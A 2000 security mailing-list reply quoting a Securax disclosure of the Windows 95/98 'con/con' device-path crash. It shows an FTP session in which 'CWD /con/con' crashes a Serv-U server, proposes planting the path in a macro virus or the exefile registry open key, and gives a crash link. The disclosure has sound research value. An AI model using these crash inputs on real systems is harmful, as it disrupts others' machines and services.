con\con is a old thing (anyway is cool)

From: Ussr Labs (labsat_private)
Date: Mon Mar 06 2000 - 09:46:44 PST

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    New exploit found by the securax crew on 3/3/error
    
    for: windoze 98 maybe 95 too...
    not for NT4 or win2K
    
    When we looked at the new exploit for ie that uses the image
    c:/con/con
    (http://www.zoomnet.net/~quick/error/crash.html)
    
    we experimented a bit with that unexisting path.
    We found that any program in windows 98 will crash if you try to open
    that file.
    eg: try Start --> run --> c:/con/con
    or open in Word the non-existing document c:/con/con
    both attempts will result in en Blues Screen of death and a lockup.
    
    
    This can also be exploited to crash remote servers
    Look what we tryed on this servU-FTP v 2.4a
    (works on any windoze 98 FTP even with anonyous or guest account)
    
    it looked something like this:
    
    230 user logged in, proceed
    SYST
    215 UNIX TYPE:L8
    connect ok!
    PWD
    257 "c:/home" is current directory.
    haal directory op
    TYPE A
    200 Type set to A.
    PORT xx.xx.xx.xx :-)
    200 PORT Command succesful
    LIST
    150 Opening ASCII mode data connect
    Download: 86 bytes
    Wacht op de server
    226 transfer complete
    CDUP
    250 directory changed to /c:/
    PWD
    250 "/c:/" is current directory
    CWD /con/con				--> this does the trick
    
    ...
    no more response :-)  server crashed.
    
    
    This is probably just the beginning of a new series of exploits for
    windoze.
    this little flaw could easily be used in a macro virus. maybe even be
    placed in the registry
    
    HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open
    c:\con\con "%1" %*
    
    
    Da G#Df@RTER & Pathos (securax)
    
    www.securax.org
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    this is a really old thing, (good but old), we found it, like 1 year
    ago with the
    nul/nul, (now are con/con) and we found others but all with the same
    error overflow over Explorer.exe and VFat,
    windows 95 and windows 98.
    
    to anyone who want to crash the windows 9x click : here
    >file://c:\nul\nul<
    
    u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c
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